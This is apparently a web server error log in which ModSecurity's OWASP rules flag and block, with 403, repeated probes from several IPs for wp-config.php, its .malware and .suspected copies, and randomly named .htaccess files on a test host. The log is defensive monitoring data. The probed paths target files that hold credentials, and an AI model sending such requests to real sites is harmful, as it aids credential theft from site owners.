[Tue Jan 27 07:25:01.491168 2026] [:error] [pid 1685083] [client 217.170.194.172:46961] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhaPQaHvWJdbyJFaNH1uAAAAAc"]
[Tue Jan 27 07:25:01.491508 2026] [:error] [pid 1685083] [client 217.170.194.172:46961] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhaPQaHvWJdbyJFaNH1uAAAAAc"]
[Tue Jan 27 07:25:01.491678 2026] [:error] [pid 1685083] [client 217.170.194.172:46961] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhaPQaHvWJdbyJFaNH1uAAAAAc"]
[Tue Jan 27 07:25:06.654765 2026] [:error] [pid 1685026] [client 217.170.194.172:39377] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhaQluVonfvtDzC1tzBzQAAABA"]
[Tue Jan 27 07:25:06.655097 2026] [:error] [pid 1685026] [client 217.170.194.172:39377] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhaQluVonfvtDzC1tzBzQAAABA"]
[Tue Jan 27 07:25:06.655260 2026] [:error] [pid 1685026] [client 217.170.194.172:39377] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhaQluVonfvtDzC1tzBzQAAABA"]
[Tue Jan 27 07:32:07.485979 2026] [:error] [pid 1685081] [client 217.170.194.172:50087] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /cjntg1tyeqnumulw0.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CJntg1tYEQNUMUlW0.htaccess"] [unique_id "aXhb55NwhhogseNFUwIZGgAAAAE"]
[Tue Jan 27 07:32:07.486320 2026] [:error] [pid 1685081] [client 217.170.194.172:50087] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CJntg1tYEQNUMUlW0.htaccess"] [unique_id "aXhb55NwhhogseNFUwIZGgAAAAE"]
[Tue Jan 27 07:32:07.486538 2026] [:error] [pid 1685081] [client 217.170.194.172:50087] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CJntg1tYEQNUMUlW0.htaccess"] [unique_id "aXhb55NwhhogseNFUwIZGgAAAAE"]
[Tue Jan 27 07:32:07.808096 2026] [:error] [pid 1685070] [client 217.170.194.172:35767] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /5qm9p55ndu88tenahm.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/5qM9P55nDU88tEnAHm.htaccess"] [unique_id "aXhb5-uc3r9bSVXogmXKMwAAAAw"]
[Tue Jan 27 07:32:07.808405 2026] [:error] [pid 1685070] [client 217.170.194.172:35767] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/5qM9P55nDU88tEnAHm.htaccess"] [unique_id "aXhb5-uc3r9bSVXogmXKMwAAAAw"]
[Tue Jan 27 07:32:07.808569 2026] [:error] [pid 1685070] [client 217.170.194.172:35767] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/5qM9P55nDU88tEnAHm.htaccess"] [unique_id "aXhb5-uc3r9bSVXogmXKMwAAAAw"]
[Tue Jan 27 07:32:08.132720 2026] [:error] [pid 1685083] [client 217.170.194.172:40001] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /bvnbgcoi4eendbdz9bd.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BvnbgcOi4EENdBdz9bD.htaccess"] [unique_id "aXhb6AaHvWJdbyJFaNH1xgAAAAc"]
[Tue Jan 27 07:32:08.133054 2026] [:error] [pid 1685083] [client 217.170.194.172:40001] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BvnbgcOi4EENdBdz9bD.htaccess"] [unique_id "aXhb6AaHvWJdbyJFaNH1xgAAAAc"]
[Tue Jan 27 07:32:08.133225 2026] [:error] [pid 1685083] [client 217.170.194.172:40001] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BvnbgcOi4EENdBdz9bD.htaccess"] [unique_id "aXhb6AaHvWJdbyJFaNH1xgAAAAc"]
[Tue Jan 27 07:32:08.455141 2026] [authz_core:error] [pid 1685085] [client 217.170.194.172:35679] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Jan 27 07:32:50.397796 2026] [:error] [pid 1685068] [client 217.170.194.172:58993] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhcEiWbtViBHFbd23JYxgAAAAo"]
[Tue Jan 27 07:32:50.398101 2026] [:error] [pid 1685068] [client 217.170.194.172:58993] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhcEiWbtViBHFbd23JYxgAAAAo"]
[Tue Jan 27 07:32:50.398265 2026] [:error] [pid 1685068] [client 217.170.194.172:58993] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhcEiWbtViBHFbd23JYxgAAAAo"]
[Tue Jan 27 07:35:01.562000 2026] [:error] [pid 1685026] [client 217.170.194.172:39283] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhclVuVonfvtDzC1tzCEAAAABA"]
[Tue Jan 27 07:35:01.562362 2026] [:error] [pid 1685026] [client 217.170.194.172:39283] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhclVuVonfvtDzC1tzCEAAAABA"]
[Tue Jan 27 07:35:01.562524 2026] [:error] [pid 1685026] [client 217.170.194.172:39283] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhclVuVonfvtDzC1tzCEAAAABA"]
[Tue Jan 27 07:35:06.727332 2026] [:error] [pid 1685068] [client 217.170.194.172:53269] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhcmiWbtViBHFbd23JY8AAAAAo"]
[Tue Jan 27 07:35:06.727623 2026] [:error] [pid 1685068] [client 217.170.194.172:53269] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhcmiWbtViBHFbd23JY8AAAAAo"]
[Tue Jan 27 07:35:06.727770 2026] [:error] [pid 1685068] [client 217.170.194.172:53269] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhcmiWbtViBHFbd23JY8AAAAAo"]
[Tue Jan 27 07:52:12.040246 2026] [:error] [pid 1685085] [client 91.219.215.169:34297] [client 91.219.215.169] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnHshhSoZwjtYPNLqiQAAAA0"]
[Tue Jan 27 07:52:12.040550 2026] [:error] [pid 1685085] [client 91.219.215.169:34297] [client 91.219.215.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnHshhSoZwjtYPNLqiQAAAA0"]
[Tue Jan 27 07:52:12.040764 2026] [:error] [pid 1685085] [client 91.219.215.169:34297] [client 91.219.215.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnHshhSoZwjtYPNLqiQAAAA0"]
[Tue Jan 27 07:52:12.802516 2026] [:error] [pid 1685068] [client 217.170.194.172:47445] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnCWbtViBHFbd23JY-AAAAAo"]
[Tue Jan 27 07:52:12.802770 2026] [:error] [pid 1685068] [client 217.170.194.172:47445] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnCWbtViBHFbd23JY-AAAAAo"]
[Tue Jan 27 07:52:12.802955 2026] [:error] [pid 1685068] [client 217.170.194.172:47445] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnCWbtViBHFbd23JY-AAAAAo"]
[Tue Jan 27 07:52:12.998593 2026] [:error] [pid 1685082] [client 194.32.107.14:57652] [client 194.32.107.14] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnHBUYbv4jF8WbmyhpwAAAAQ"]
[Tue Jan 27 07:52:12.998879 2026] [:error] [pid 1685082] [client 194.32.107.14:57652] [client 194.32.107.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnHBUYbv4jF8WbmyhpwAAAAQ"]
[Tue Jan 27 07:52:12.999041 2026] [:error] [pid 1685084] [client 194.32.107.14:57648] [client 194.32.107.14] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnMVNAll46Bh1JMU0NwAAAAg"]
[Tue Jan 27 07:52:12.999060 2026] [:error] [pid 1685082] [client 194.32.107.14:57652] [client 194.32.107.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnHBUYbv4jF8WbmyhpwAAAAQ"]
[Tue Jan 27 07:52:12.999257 2026] [:error] [pid 1685084] [client 194.32.107.14:57648] [client 194.32.107.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnMVNAll46Bh1JMU0NwAAAAg"]
[Tue Jan 27 07:52:12.999424 2026] [:error] [pid 1685084] [client 194.32.107.14:57648] [client 194.32.107.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgnMVNAll46Bh1JMU0NwAAAAg"]
[Tue Jan 27 07:52:13.413217 2026] [:error] [pid 1685045] [client 23.80.89.35:34523] [client 23.80.89.35] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnc5tqUHe55o9dmnnuwAAAAY"]
[Tue Jan 27 07:52:13.413467 2026] [:error] [pid 1685045] [client 23.80.89.35:34523] [client 23.80.89.35] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnc5tqUHe55o9dmnnuwAAAAY"]
[Tue Jan 27 07:52:13.413641 2026] [:error] [pid 1685045] [client 23.80.89.35:34523] [client 23.80.89.35] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgnc5tqUHe55o9dmnnuwAAAAY"]
